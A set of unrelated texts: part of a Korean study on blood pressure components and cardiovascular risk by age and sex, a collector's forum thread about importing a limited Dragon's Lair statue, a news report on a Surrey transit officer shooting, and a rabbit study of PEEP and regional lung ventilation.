In univariate Cox proportional regression analyses, a 10 mmHg increase of SBP and PP was significantly associated with the occurrence of more CV events \[10 mmHg increase of SBP: hazard ration (HR) = 1.105, 95% CI (1.067--1.144), *P* \< .001; 10 mmHg increase of PP: HR = 1.202, 95% CI (1.160--1.247), *P* \< .001\]; while 10 mmHg increase of DBP was significantly related to reduced risk of CV events \[10 mmHg increase of DBP: HR = 0.866, 95% CI (0.818--0.916), *P* \< .001\] and 10 mmHg increase of MAP could not observed significant association with the incidence of CV events \[10 mmHg increase of MAP; HR = 0.965, 95% CI (0.912 -1.022), *P* = .223\] (Table [3](#T3){ref-type="table"}). However, multivariate Cox proportional regression analyses revealed that the HR of 10 mmHg increase in PP was 1.063 (95% CI; 1.022--1.106, *P* = .002), but the HR of 10 mmHg increase in DBP was 0.923 (95% CI; 0.873--0.976, *P* = .005) for the risk of CV events after adjusting for age, sex, BMI, total cholesterol concentration, smoking status, and CCI. SBP and MAP were not significantly associated with increased incidence of CV events (Table [3](#T3){ref-type="table"} and Fig. [2](#F2){ref-type="fig"}).
######
Multivariate Cox proportional regression analysis of each blood pressure component for cardiovascular events.
{#F2}
3.3. The different effects of baseline BP components on CV events according to age and sex among the hypertensive population
----------------------------------------------------------------------------------------------------------------------------
Table [4](#T4){ref-type="table"} illustrates that an increase in PP or decrease in DBP was significantly associated with higher occurrence of CV events in males, even after adjusting for age, BMI, total cholesterol concentration, smoking status, and CCI (PP; HR = 1.102, 95% CI; 1.051--1.156, *P* \< .001, and DBP; HR = 0.912, 95% CI; 0.851--0.978, *P* = .010), while an increase in SBP was marginally related to increase in risk of CV events (HR = 1.043, 95% CI; 0.998--1.090, *P* = .059) and an increase in MAP could not observe the association with incidence in risk of CV events (HR = 0.975, 95% CI; 0.910--1.0432, *P* = .461) (Table [4](#T4){ref-type="table"} and Fig. [2](#F2){ref-type="fig"}). In contrast, there was no significant association in females between change of each BP component and incidence of CV events (Table [4](#T4){ref-type="table"} and Fig. [2](#F2){ref-type="fig"}).
######
Multivariate Cox proportional regression analysis of each blood pressure component for cardiovascular events according to sex.
When these patients were stratified according to age and sex, a 10 mmHg increase in SBP or PP was significantly related to increase in risk of CV events among the 40- to 49-year-old male group (SBP; HR = 1.114, 95% CI; 1.031--1.203, *P* = .006, and PP; HR = 1.158, 95% CI; 1.061--1.264, *P* = .001). A 10 mmHg elevation of PP was significantly associated with increased incidence of CV events among the 50- to 59-year-old male group (HR = 1.161, 95% CI; 1.048--1.286, *P* = .004), whereas a decrease of DBP was significantly associated with increased risk of CV events among the 60-year-old and older male group (HR = 0.879, 95% CI; 0.795--0.972, *P* = .012) (Table [5](#T5){ref-type="table"} and Fig. [3](#F3){ref-type="fig"}). However, there was no significant relationship in the female groups between change in BP components and occurrence of CV events, and we could not observe the significant association of MAP with the incidence of CV events, even in the sub-analysis after being stratified by age and sex. (Table [5](#T5){ref-type="table"} and Fig. [3](#F3){ref-type="fig"})
######
Multivariate Cox proportional regression analysis of each blood pressure component for cardiovascular events according to age group and sex.
{#F3}
4. Discussion
=============
Consistent with other studies,^\[[@R4],[@R5],[@R6],[@R7]\]^ we found that, for hypertensive male subjects, the importance of an increase in SBP and PP for risk of CV events was demonstrated in the younger generation; however, a decrease in DBP was significantly associated with increase in the incidence of CV events in older generations. However, there was no significant association between variation in BP components and CV events in hypertensive female subjects irrespective of age stratification and there were no significant associations of MAP in sub-analysis after stratification according to age and sex.
The reasons why there was no significant relation between change of BP components and CV events in the hypertensive female populations have not been elucidated. However, it is well-known that there are differences in prevalence of HTN and incidence of CV events between men and women.[@R21] Moreover, women are considered to be protected from most CV events compared to men, and the risk for CV events accelerates after menopause. Therefore, postmenopausal women are at increased risk of CV complications compared to premenopausal women.[@R22] In our study, the crude incidence rates for CV events were lower in female groups compared with male groups, as in other studies (Table [2](#T2){ref-type="table"}),[@R21] which might result in no significant association between variation in BP components and occurrence of CV events in female groups.
However, the relative ratio (RR) of incidence rate for CV events between older males and females was greater than that in the younger age groups (RR in 60 years or more: 0.84, RR in age 50 s group: 0.74, and RR in age 40s group: 0.26) when we examined the RR as incidence rate of CV events in the female group incidence rate of CV events in the male group at the same age. This indicates that the occurrence of CV events in hypertensive females after menopause rapidly increased compared to that in hypertensive males of the same age. Moreover, in women aged 65 years or older, the prevalence of HTN was higher than that found in men aged 65 years or older in 2007 (61.8% in women vs 49.3% in men) and 2011 (68.9% in women vs 58.4% in men).[@R22] Nevertheless, we could not find as significant association between change of BP components and risk of CV events even in the 60 years and older, hypertensive female population.
The pathophysiological mechanisms for sexual differences in the prevalence of HTN and incidence of CV events have not been established but are not likely as simple as the presence or absence of estrogens, since hormone replacement therapy in older women in the Women\'s Health Initiative or the HERS Trials did not provide primary or secondary prevention. However, our results demonstrate that BP management should be selectively performed according to age and sex to reduce CV events among hypertensive populations.
In this study, a 10 mmHg increase of PP was significantly associated with increase in incidence of CV events among the total hypertensive population. Several pathogenic mechanisms for the relationship between PP and CV events have been explained as due to increased arterial stiffness, which causes SBP to increase and DBP to decrease by shifting the wave reflection from diastole to systole.[@R23] SBP elevation has deleterious effects on myocardial oxygen demands, and a reduction of DBP might compromise diastolic perfusion time and coronary perfusion. Finally, widened PP can lead to presence of a clinical or subclinical comorbid condition, such as aortic insufficiency.[@R24] However, in our study, there was no significant association between increase in SBP and risk of CV events, which indicates that diastolic perfusion time and coronary perfusion may be more of an issue for the occurrence of CV events among hypertensive populations compared with myocardial oxygen demands.
In Korea, a routine health examination is recommended every other year for those over 40 years of age, and BP is always measured during these examinations.^\[[@R13],[@R14]\]^ However, it is still controversial whether a health examination is beneficial based on cost-effective analysis. Unfortunately, we did not examine serial BP variations or investigate the effect of variability of BP components on the risk of CV events. Thus, it is hard to emphasize the benefit of periodic health examinations based on study results. Nevertheless, this study implies that physicians may need to choose selective BP management based on baseline BP and considering the age and sex of their patients.
There were several limitations to our study. First, the health examination sample cohort database included 10% of all participants who underwent a health examination provided by the NHIS from January 1, 2002 through December 31, 2003, using simple random sampling and who were followed until December 31, 2013. Thus, these data do not represent the entire healthy Korean population. Second, the study was a retrospective cohort observational study. Thus, selection bias could not be excluded. In the future, interventional prospective studies will be required to confirm these results. Third, we could not measure serial BP variations individually. Thus, there is a limitation to showing how to manage BP in hypertensive populations. Fourth, there was a relatively small number of women (30.8%) compared to men (69.2%). Thus, future investigation with larger number of women is needed to delineate the effects of BP components in the female hypertensive group. Despite these limitations, the study is the first, to our knowledge, to investigate BP components according to age and sex among hypertensive populations without CKD or DM.
This study suggests that BP management in hypertensive populations may need to be performed after full consideration of patient age and sex. However, an interventional, prospective study with larger populations is needed to confirm these results.
Author contributions
====================
**Conceptualization:** Hyung Jung Oh, Eungyu Kang, Seulbi Lee, Dong-Ryeol Ryu.
**Data curation:** Eungyu Kang, Seulbi Lee, Eunhee Ha.
**Formal analysis:** Eungyu Kang, Seulbi Lee, Eunhee Ha.
**Investigation:** Eungyu Kang, Seulbi Lee, Eunhee Ha.
**Methodology:** Hyung Jung Oh, Eungyu Kang, Seulbi Lee, Dong-Ryeol Ryu.
**Project administration:** Hyung Jung Oh, Dong-Ryeol Ryu.
**Software:** Hyung Jung Oh, Seulbi Lee, Eunhee Ha.
**Supervision:** Hyung Jung Oh, Dong-Ryeol Ryu.
**Validation:** Hyung Jung Oh, Eungyu Kang, Seulbi Lee, Dong-Ryeol Ryu.
**Visualization:** Hyung Jung Oh, Eungyu Kang, Seulbi Lee, Dong-Ryeol Ryu.
**Writing -- original draft:** Hyung Jung Oh, Eungyu Kang, Seulbi Lee, Eunhee Ha, Dong-Ryeol Ryu.
**Writing -- review & editing:** Hyung Jung Oh, Eungyu Kang, Seulbi Lee, Eunhee Ha, Dong-Ryeol Ryu.
Abbreviations: BP = blood pressure, CKD = chronic kidney disease, CV = cardiovascular, DBP = diastolic blood pressure, DM = diabetes mellitus, MAP = mean arterial pressure, PP = pulse pressure, SBP = systolic blood pressure.
EK and SL contributed equally to this work.
This research was supported by a National Research Foundation of Korea (NRF) grant funded by the Korean government (MSIT) (2010--0027945). It was also supported by a grant from the Korea Health Technology R&D Project through the Korea Health Industry Development Institute (KHIDI), funded by the Ministry of Health & Welfare, Republic of Korea (grant number: HI18C0844).
The authors have no conflicts of interest to disclose.
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Hi friends. I'am a french Dragon's Lair Fan and I want to order this wonderful statue on Electric Tiki website, but I read "items are only available to US residents". The item is available on ebay, but it's more expensive. According to you, am I obliged to buy the item on ebay or could I find a legal way to buy it on Electric Tiki website?
Caution, the ebay version is the 'normal' version of the statue, not the ARTIST PROOF edition limited to 50 ex. worldwide.As far as I know, there's no other option than the official Electric Tiki website link to order the special edition, and yes... only for US residents. Just ask someone from US who can order it for you.
Thank you for your answer. It's the Artist Proof Limited Edition I want...
I sent this email to Electric Tiki (excuse my bad english):
Quote
Hello. I am a French Dragon’s Lair (and Don Bluth’s work) fan who watches closely your creations. I wanted to order on your shop the Daphne statue (exclusively signed on your shop) but I realized that this item is only available to US residents. Could you make an exception for me and accept that I order it to you, even if the delivery is in France? I dream about this statue for my collection, it will accompany perfectly my original posters of Dragon’s Lair & Space Ace signed by Gary Goldman and Don Bluth and other stuffs (videogames, laserdiscs, etc.). I shall eternally be grateful to you if you accepted, pleeeeeeease. I also intend to buy you later Kimberly from Space Ace videogame (I hope one day you’ll create a Dirk statue).
I kneel down before you, hoping that you will accept my request. I thank you beforehand
You can try a Forwarding company that receives your object in the us and then ship it to your Eu adress..Never tried it so can't give any advice, but i found this one for example : http://www.shipito.com/Let us have feedback if you do try !
Arg! a 'DOUANE' sticker around the box.... it means the box has been open by custom I'm not angry about the (fortunately only) 10€ of extra fee, I'm just afraid about something broken... it's so fragile!
OK, let's open the first box :
...so far so good, let's open the real Daphne statue box
It's the certificate hand signed by the Dragon's Lair creators. Only 50 worldwide. Mine is 45/50 It's also written on the box itself :
A.P. stands for Artist Proof
OK, the big opening moment...
...and ...
No problem so far! OK, the number is also written behind the statue base. 325 is the total of statue made (but only the 50 first are 'Artist Proof')
Let's now fix Daphne on his base, let's add the sword and ... here she is
Of course, I'll shoot her close the Dragon's Lair cabinet
Once again, many thanks to Barry 'Sonic 1992' who shipped 'her' from US to Belgium (because it's so fragile, TIKI didn't want to ship outside US...) ... you rock mate!
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Police in Surrey, B.C., were continuing the hunt Thursday morning for a suspect wanted in connection with the shooting of a transit officer.
RCMP say the injured officer, identified as Josh Harms, 27, was on regular patrol duty Wednesday when a suspect shot him on the platform of the Scott Road SkyTrain station around 4:20 p.m. PT.
Harms was taken to hospital with non life-threatening injuries.
Police are using dogs to search for the suspect, who may be armed. At least 80 officers are involved in the search.
'Stay inside … lock your doors'
They have zeroed in on two areas in Surrey, which they have cordoned off; one from from King George Boulevard to 114th Avenue, and another from 125a Street to 124 Street.
Police are asking people to avoid these areas, stay indoors and leave on a light on their front porch.
A picture of the suspect was released by Surrey RCMP. (RCMP)
"We are asking you to stay inside and to lock your doors," said Surrey RCMP assistant commissioner Dwayne McDonald.
The suspect is described as a male in his 20s, with dark skin, a dark stubble goatee and a mustache. He was last seen wearing a blue sweatshirt jacket and white Nike running shoes with a black swoosh.
Surrey RCMP released this surveillance footage of the man suspected of shooting a transit officer on Jan. 30. 0:14
Police say they are canvassing video taken at the scene of the shooting, and interviewing multiple witnesses.
They're also warning members of the public that if they spot the suspect, he should not be approached and they should call 911.
Schools, residences on lockdown
Because of the search, police took measures to secure nearby residences and a school where 25 people, including 15 students, 10 teachers and parents, were attending an after-school program when the shooting occurred, said Doug Strachan with the Surrey School District.
The protocol put into place at Bridgeview Elementary School meant everyone was required to stay inside the school and lock the doors, but activities carried on.
Police gave the all-clear at 8:30 p.m. PT and people were permitted to leave.
Scott Road SkyTrain station re-opened later Wednesday evening.
The officer is expected to make a full recovery. 0:53
Sgt. Clint Hampton, a spokesperson for Transit Police, said Harms is expected to recover.
Hampton says he knows Harms well and described the event as "shocking."
McDonald said he checked in with Harms earlier Wednesday evening.
"He was in good spirits," McDonald said. Harms has been with the Metro Vancouver Transit Police force for three years.
Meanwhile, police detachments across the country expressed their support for the officer on Twitter.
Our thoughts <a href="https://twitter.com/VancouverPD?ref_src=twsrc%5Etfw">@VancouverPD</a> are with the shot <a href="https://twitter.com/hashtag/TransitPolice?src=hash&ref_src=twsrc%5Etfw">#TransitPolice</a> Officer, his family & our <a href="https://twitter.com/hashtag/MVTP?src=hash&ref_src=twsrc%5Etfw">#MVTP</a> police brothers & sisters - <a href="https://twitter.com/hashtag/VPD?src=hash&ref_src=twsrc%5Etfw">#VPD</a> is in contact with <a href="https://twitter.com/TransitPolice?ref_src=twsrc%5Etfw">@TransitPolice</a> & has offered assistance with whatever they need <a href="https://twitter.com/ChiefKross?ref_src=twsrc%5Etfw">@ChiefKross</a> <a href="https://t.co/k1l3rPGyNT">https://t.co/k1l3rPGyNT</a> —@ChiefPalmer
Our thoughts are with the family, friends and colleagues of the Vancouver <a href="https://twitter.com/TransitPolice?ref_src=twsrc%5Etfw">@TransitPolice</a> officer who was shot while on duty this afternoon. —@CalgaryPolice
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Background
==========
Lung injury and edema are well-documented consequences of mechanical ventilation with high distending pressures in multiple experimental models \[[@B1]-[@B3]\]. It has been observed that maintaining end-expiratory lung volume, at some level above functional residual capacity, with positive end-expiratory pressure (PEEP) can prevent/reduce this ventilator-induced lung injury (VILI). Multiple animal models employing high distending pressures and/or volumes have demonstrated marked reductions in lung injury when adequate PEEP is applied \[[@B1]-[@B5]\]. In a surfactant-depletion model, lung injury occurs in the absence of large tidal volumes and distending pressures if inadequate or absent PEEP is used \[[@B6]\]. However, applying PEEP above the lower inflection point of the inspiratory pressure-volume curve protected against injury \[[@B6]\]. The protective effect of PEEP has been attributed primarily to prevention of repeated airway collapse and expansion (RACE) \[[@B6],[@B7]\], and to a lesser extent limitation of tidal excursion, and reduced cardiac output \[[@B8]\]. These observations, although not always directly translatable to the clinical management of humans with lung injury, shed light on how management of mechanical ventilatory support might potentially impact patient outcomes. It has recently been observed that outcomes can be improved in ARDS patients if distending pressures are limited by tidal volume reduction \[[@B9],[@B10]\]. Although improved outcomes in ARDS patients ventilated with PEEP set above the lower inflection point of the inspiratory pressure-volume curve has been reported \[[@B10]\], a recent multi-center trial failed to show a survival advantage with a high-PEEP ventilation strategy \[[@B11]\]. Similar outcomes have been observed in two subsequent trials employing either oxygenation-based \[[@B12]\] or plateau pressure-based \[[@B13]\] PEEP protocols. However, another recent study documented significant heterogeneity in how patients with ALI/ARDS respond to higher PEEP levels \[[@B14]\]. They identified two populations of patients: those with a significant recruitable lung volume, and those with negligible recruitable volume. These intra-patient differences may suggest that some patients and not others may benefit from higher PEEP. Additionally, a recent study by Talmor and colleagues \[[@B15]\] examined the effect of higher PEEP based on a trans-pulmonary pressure-based protocol and found a strong trend toward improved survival in the higher PEEP group.
The RACE hypothesis has been called into question recently, favoring the tidal movement of fluid and/or foam in the airways as an explanation for the mechanical behavior of the injured lung during positive pressure ventilation \[[@B16]\]. Also, a recent model of saline lavage lung injury found that high tidal volume/low PEEP ventilation resulted in lung injury in the non-dependent lung regions in supine rats, suggesting atelectasis in the dependent lung zones shifts stretch-induced injury to the non-dependent lung and argues against repetitive collapse and expansion as a cause of VILI \[[@B17]\]. The current technological limitations of available imaging modalities preclude accurate real-time imaging of all but the most peripheral alveoli, therefore whether alveoli open and close during mechanical ventilation remains a point of contention.
We have recently shown in a rabbit model of VILI that lung injury is greater and more spatially variable with a dorso-caudal gradient in the absence of PEEP\[[@B18]\]. One potential mechanism for this finding is regional repeated airway collapse and expansion in dependent lung areas during tidal breathing promotes subsequent injury. We hypothesize that 1) cyclical airway closure and expansion or RACE occurs in the lungs of anesthetized rabbits mechanically ventilated in the supine posture without PEEP and 2) RACE would occur regionally in the dorso-caudal lung regions, spatially correlating with the previously reported regional distribution of VILI \[[@B18]\].
To test this hypothesis, we measured how relative ventilation regionally redistributes with increasing tidal volume in the lungs of mechanically ventilated rabbits by measuring the distribution of aerosolized fluorescent microspheres. This ventilation redistribution with increasing tidal expansion of the lungs is referred to as sequential ventilation and reflects dynamic regional changes in lung mechanics during inspiration. By measuring regional ventilation redistribution with increasing tidal volume under different PEEP conditions, we could infer whether dynamic regional changes in lung mechanics were related to changes in the lower part of the pressure-volume curve (i.e. cyclical airway closure at FRC followed by expansion and increased ventilation during inspiration) or to changes at the upper part of the pressure volume curve (i.e. alveolar overdistension and regionally reduced compliance resulting in decreased regional ventilation).
Methods
=======
Animals Preparation
-------------------
The University of Washington Animal Care Committee in accordance with National Institutes of Health guidelines approved all methods. New Zealand white rabbits (either sex, 2.4 to 2.8 kg) were sedated with intramuscular ketamine (30 mg/kg) and xylazine (7.5 mg/kg) to allow placement of a 20 ga catheter in each marginal ear vein. A surgical plane of anesthesia was then maintained with a continuous intravenous infusion of ketamine (0.05 mg/kg/hr) and xylazine (0.003 mg/kg/hr) for the remainder of the protocol. A 3.5 mm cuffless endotracheal tube was inserted via tracheotomy to allow positive pressure mechanical ventilation. Arterial catheters were placed in the left carotid (blood gas sampling and arterial pressure measurement) and right femoral (thermistor tipped catheter for thermodilution cardiac output) arteries. A catheter was inserted into the right internal jugular vein for pressure monitoring and administration of thermodilution injectate. Pancuronium bromide (0.15 to 0.2 mg/kg) was administered intravenously, after adequate anesthesia was established, to suppress spontaneous respiratory efforts. A 30-min stabilization period followed the completion of surgical preparation, after which baseline data were collected. During this period, animals were ventilated in pressure control mode (Servo 900 C; Semens-Elema, Stockholm, Sweden) with a 50% inspiratory time and no inspiratory pause. Tidal volume was set at 10 - 12 ml/kg, PEEP = 5 cm H~2~O and a respiratory rate to achieve P~a~CO2 = 35 - 45 mmHg.
Physiologic Measurements
------------------------
Data were recorded using Powerlab data acquisition software (AD-Instruments Castle Hill, New South Wales, Australia). Blood pressures (systemic arterial and right ventricular), heart rate, duplicate thermodilution cardiac output (Baxter Edwards SAT-2 Oximeter/Cardiac Output Computer, Irvine, CA), arterial blood gases (Radiometer ABL 5, Copenhagen, Denmark) and ventilatory parameters were measured for each experimental condition after a 20-minute stabilization period.
An in-line spirometer (KORR RSS 100; Medical Technologies Research Spirometry System, Salt Lake City, UT) was used to measure airway pressures and tidal volume. Plateau pressure was measured as the pressure achieved at the end of a 5-second end-inspiratory hold maneuver.
Sequential Ventilation Measurement
----------------------------------
On completion of surgery, stabilization, and collection of baseline data, each animal (n = 5) was subjected to 4 different experimental conditions combining high (12 ml/kg) or low (6 ml/kg) tidal volume with 8 cm H~2~0 or 0 cm H~2~O PEEP (Table [1](#T1){ref-type="table"}). The rationale for choosing these four conditions is as follows. In the absence of PEEP, if dorso-caudal lung regions are closed at FRC and then subsequently recruited at some point during a tidal inspiration, relative ventilation to these regions will be greater with a larger tidal volume because the regions are open for a greater percentage of inspiration as compared with a smaller tidal volume. Thus, when measuring relative ventilation distribution at these two tidal volumes, there will be greater ventilation to the dorso-caudal regions and correspondingly less ventilation to ventro-cranial regions with the larger tidal volume. In contrast, if PEEP is set sufficiently high as to prevent cyclical airway collapse at FRC, relative regional ventilation distribution should be similar between a smaller tidal volume and a larger tidal volume.
######
Physiological Response to Varying Mechanical Ventilation Strategies
Tidal Volume 6 ml/kg 12 ml/kg
---------------------------- ------------- ---------------- ------------- -------------
Heart rate (min^-1^) 214 ± 45 219 ± 26 211 ± 25 230 ± 31
MAP (mmHg) 63 ± 18 47 ± 7 65 ± 9 52 ± 7
Mean RVP (mmHg) 14 ± 2 14 ± 1 13 ± 2 15 ± 1
Cardiac output (L·min^-1^) 0.34 ± 0.02 0.23 ± 0.05^†^ 0.31 ± 0.05 0.25 ± 0.06
Peak P~AW~(cmH~2~O) 8 ± 1 16 ± 2^†^ 13 ± 1\* 30 ± 5\*^†^
Plateau P~AW~(cmH~2~O) 7 ± 1 15 ± 2^†^ 12 ± 2\* 27 ± 2\*^†^
Arterial pH 7.38 ± 0.10 7.38 ± 0.07 7.42 ± 0.04 7.43 ± 0.02
Arterial PO~2~(torr) 69 ± 11 95 ± 6^†^ 69 ± 12 94 ± 11^†^
Arterial PCO~2~(torr) 42 ± 2 40 ± 5 41 ± 2 41 ± 1
A-aDO~2~(torr) 19 ± 21 8 ± 9 25 ± 7 5 ± 8^†^
\* p \< 0.05 compared to other condition with same PEEP but different tidal volume; † p \< 0.05 compared to other condition with different PEEP but same tidal volume. Mixed model used for statistical analysis with post-hoc comparisons using Tukey\'s HSD. Values presented are mean ± SD. MAP - mean arterial pressure, RVP - right ventricular pressure, P~AW~- airway pressure, A-aDO~2~- alveolar-arterial oxygen difference.
The order of the four conditions was varied across experiments. Prior to each condition change, two static inflations to 40 cmH~2~0 were performed via the syringe technique and held for 20 seconds each to ensure a standard volume history between conditions. All animals were ventilated with room air throughout all experimental conditions and respiratory rate was adjusted at each condition to achieve P~a~CO~2~of 35 to 45 mmHg.
Twenty minutes after each condition was established, physiologic data were recorded. Aerosolized 1-μm diameter fluorescent microspheres were administered over 5 min to measure regional ventilation for each condition as previously described \[[@B19]\]. A total of 4 different fluorescent colors (yellow, orange, orange-red, and red) were used. Each colored microsphere aerosol marked ventilation under one of the four conditions. By using four different aerosols, we can determine spatial ventilation distribution post-mortem for each of the four different ventilation conditions in each animal.
At the conclusion of each experiment, a sternotomy was performed, the main pulmonary artery and left atrium were cannulated, and the pulmonary vasculature was flushed with a dextran solution by gravity feed. The lungs were dissected from the chest cavity and dried inflated at 25-cmH~2~O. The dried lungs were fixed in rapid-setting foam, sliced, mapped, and diced into cubes of 1.5-2.0-cm^3^. Each piece was weighed, visually scored for airway and blood content, and soaked for 2 days in 1.5 ml of 2-ethoxyethyl acetate to extract the fluorescent dyes. The fluorescent signals for the four colors were measured in each piece with a fluorimeter (LS50B, Perkin-Elmer), corrected for background and spillover from adjacent signals \[[@B20]\], and converted to weight-normalized, relative ventilation signals as previously described \[[@B19]\].
Data Analysis and Statistics
----------------------------
All values are presented as means ± SD and all statistical analyses were done using JMP (SAS, Cary, NC). Comparisons of physiological parameters among the different ventilator conditions were made using a mixed model in which ventilator condition (the four combinations of tidal volume and PEEP) was the fixed effect and animal number was the random effect to account for correlations from repeated measures within each animal. For a given physiologic parameter there was one value for each animal for each of the four conditions. Post-hoc comparisons were made with Tukey\'s HSD. To assess for ventilation redistribution with change in tidal volume, the base 10 logarithm of the ratio of the relative ventilation with 12 ml/kg tidal volume to ventilation with 6 ml/kg was calculated for each lung piece. For a given piece of lung, if the log ratio was greater than 0, the relative ventilation to that lung piece increased as tidal volume increased; conversely if the log ratio was less than 0, the relative ventilation to that lung piece decreased as tidal volume increased. To evaluate for regional changes in relative ventilation distribution, fluorescent measurements were clustered into five regions based on dome of the diaphragm, major fissure, and a mid-sagittal division as illustrated in Figure [1](#F1){ref-type="fig"}. This clustering correlates with our previously published data on regional lung injury \[[@B18]\]. Because measurements for all four ventilatory conditions were made in each animal and because the log ratio of ventilation with a tidal volume of 12 ml/kg to a tidal volume of 6 ml/kg is not independent among the five regions within any given animal, we could not perform a standard statistical analysis looking at differences between the five regions at different PEEP levels. To quantify the effect of PEEP on ventilation distribution, we calculated the median of the log ratio of ventilation for each region (Figure [1](#F1){ref-type="fig"}) and then the standard deviation of these medians across the five different regions at both PEEP levels. A lower standard deviation represents little difference in median ventilation distribution across the five regions between tidal volumes; whereas, a higher standard deviation represents greater heterogeneity of relative ventilation distribution across the five regions between tidal volumes. A paired t-test was used to compare the log~10~-transformed standard deviation of median log ratios between PEEP levels.
{#F1}
Results
=======
Measurement of sequential ventilation distribution
--------------------------------------------------
Five animals were studied using the sequential ventilation experimental protocol. Several of the hemodynamic parameters were similar among the four ventilation conditions, although both mean arterial pressure (MAP) and cardiac output were lower during ventilation with PEEP for both tidal volumes (p = 0.08 and 0.01 for PEEP effect on MAP and cardiac output, respectively, at 6 ml/kg). Airway pressures were higher both with larger tidal volumes and with the addition of PEEP (Table [1](#T1){ref-type="table"}), including statistically significant differences for three out of four comparisons. Arterial oxygenation was statistically higher during ventilation with PEEP (Table [1](#T1){ref-type="table"}) for both tidal volumes; there were no statistically significant differences in arterial pH or PCO~2~among the four conditions.
An average of 73 ± 21 lung pieces were obtained from each animal for measurement of regional ventilation across the four conditions. In the absence of PEEP, four out of five animals demonstrated a pattern in which relative ventilation increased to dorsal-caudal lung regions (regions 1 and 2) and decreased to ventral-rostral regions (regions 4 and 5) when tidal volumes were increased from 6 ml/kg to 12 ml/kg (Figure [1A](#F1){ref-type="fig"}). When ventilation distribution was measured in the presence of 8 cmH~2~O PEEP, there was no clear difference in relative ventilation distribution between 6 ml/kg and 12 ml/kg tidal volume ventilation in any animals (Figure [1B](#F1){ref-type="fig"}). A composite graph of all data points across the five animals demonstrates the consistency of this finding (Figure [2](#F2){ref-type="fig"}). The addition of PEEP resulted in a strong trend towards a reduced standard deviation of median log ratios of ventilation with a tidal volume of 12 ml/kg to a tidal volume of 6 ml/kg across the five regions (0.114 ± 0.105 vs. 0.238 ± 0.150, p = 0.08).
{#F2}
{#F3}
In summary, animals ventilated in the supine posture without PEEP demonstrated sequential redistribution of ventilation towards dorsal-caudal lung regions as tidal volume increased suggesting increasing regional compliance in dorsal-caudal lung regions relative to ventral-cranial regions. This sequential redistribution of ventilation was attenuated with the application of PEEP. This finding further suggests that the mechanism for the change in relative regional compliance was recruitment and increased compliance in dorsal-caudal lung, rather than over-distension and decreased compliance in ventral-cranial lung.
Discussion
==========
In this study, we hypothesized that, in anesthetized, mechanically ventilated, supine rabbits, there are regional areas of lung, which undergo cyclical airway collapse at FRC and expansion during tidal inspiration (RACE) in the absence of PEEP and that this results in spatial redistribution of relative ventilation with increasing tidal volume. We further hypothesized that RACE would spatially correlate with the most regionally severe lung injury observed in a prior study of VILI. We found that relative ventilation increased to dorso-caudal lung regions as tidal volume increased and that this regional ventilation redistribution with increasing tidal volume was ameliorated with the addition of positive end-expiratory pressure. These data support regional cyclical airway closure at FRC and recruitment with tidal inspiration in the absence of PEEP, based on the following assumptions:
1\. A regional increase in relative ventilation with an increase in tidal volume implies that local compliance is increasing relative to other lung regions.
2\. Local lung compliance is roughly constant between volumes associated with either atelectasis (lower inflection point on a pressure-volume curve) or full inflation (upper inflection point on a pressure-volume curve - Figure [3](#F3){ref-type="fig"}).
3\. Regional lung compliance can increase relative to other lung regions either because of local recruitment and improved compliance (Figure [3A](#F3){ref-type="fig"}) or because of over distension and reduced compliance in remote lung regions (Figure [3B](#F3){ref-type="fig"}).
4\. If recruitment of dependent alveoli, which collapse at FRC, is responsible for redistribution of ventilation to dorso-caudal lung with increasing tidal volume, then application of PEEP should reduce this redistribution. However, if over distension of non-dependent alveoli is responsible for ventilation redistribution to dorso-caudal lung, then application of PEEP should augment this redistribution.
Although we have not directly visualized RACE, which is not obviously feasible, our data support a spatial distribution of cyclical airway collapse and recruitment, which correlates with our previously reported spatial distribution of lung injury \[[@B18]\]. Because RACE is implicated as one cause of ventilator-induced lung injury \[[@B6],[@B18],[@B21]-[@B23]\], these findings further support regional RACE in uninjured, supine rabbits undergoing mechanical ventilation. All non-invasive measurements of volume change or alveolar density are indirect estimates of regional ventilation subject to erroneous interpretation. Using dynamic measurement of regional ventilation by the novel method of labeled aerosol deposition, we have demonstrated for the first time that regional ventilation redistributes with increasing tidal volume, suggesting dynamic regional changes in lung mechanics. Furthermore, by measuring sequential ventilation at different PEEP levels, we have shown that RACE is the most likely explanation for these dynamic changes in regional lung mechanics.
We have previously reported a dramatic dorsal-ventral and cranial-caudal gradient of lung injury severity in a rabbit model of VILI with supine ventilation in the absence of PEEP. The region with the most severe injury was the dorsal-caudal lung. With the application of 8 cmH~2~O of PEEP however, no such gradient is observed, rather a less severe, more homogeneously distributed injury pattern occurs, despite identical end inspiratory pressures \[[@B18]\]. The application of PEEP has been shown to ameliorate VILI in a number of experimental models \[[@B1],[@B3],[@B4],[@B6],[@B24]-[@B26]\]. One potential explanation for the protective effects of PEEP is the prevention of tidal collapse and re-expansion of distal lung units. In the supine posture, lower alveolar volumes at FRC may predispose dependent lung regions to cyclical collapse. Muscedere et. al. \[[@B6]\] demonstrated epithelial injury in distal airways and alveoli, even with low tidal volumes (6 ml/kg), when isolated, unperfused rat lungs were allowed to deflate to volumes below the lower inflection point of the pressure-volume curve during exhalation. Although compelling, these findings must be interpreted in the context of an *ex vivo*, unperfused model which will favor tidal airway collapse and minimize edema formation in comparison with an intact animal model \[[@B16]\].
Distal airways and alveoli are not generally felt to be at risk of tidal collapse and re-expansion *in vivo*in uninjured lungs. In the current study, we examined this during mechanical ventilation in the supine posture by demonstrating sequential distribution of ventilation to the dorsal-caudal lung regions with increasing tidal volume, which was abolished by the application of PEEP. In the supine posture, a reduction was seen in relative ventilation to the dorsal-caudal region. One potential explanation for this is that the FRC is below the closing volume in this region at end-exhalation, resulting in cyclical airway closure. This would result in sequential ventilation with no inspired gas going to this lung region during the initial phase of tidal breathing, followed by recruitment and ventilation in the latter phase of each breath. To test this, we subjected uninjured animals to small (6 ml/kg) and large (12 ml/kg) tidal volume ventilation and measured relative regional ventilation distribution with inhaled fluorescent microspheres. We found a relative increase in ventilation to the dorsal-caudal lung and decreased ventilation to the ventral-cranial lung with larger tidal volumes. Two likely explanations for this observation are 1) alveoli in the dorsal-caudal lung were recruited with increased tidal volume or 2) ventral-cranial regions were over-distended with increased tidal volume, became less compliant, and ventilation was re-distributed to the dorsal-caudal lung. The effect of PEEP on the distribution of ventilation favors the former explanation. The application of PEEP = 8 cm H~2~O eliminated the observed sequential ventilation in the dorsal-caudal lung, consistent with recruitment of alveoli in this region which allowed the same relative ventilation to be delivered independent of tidal volume.
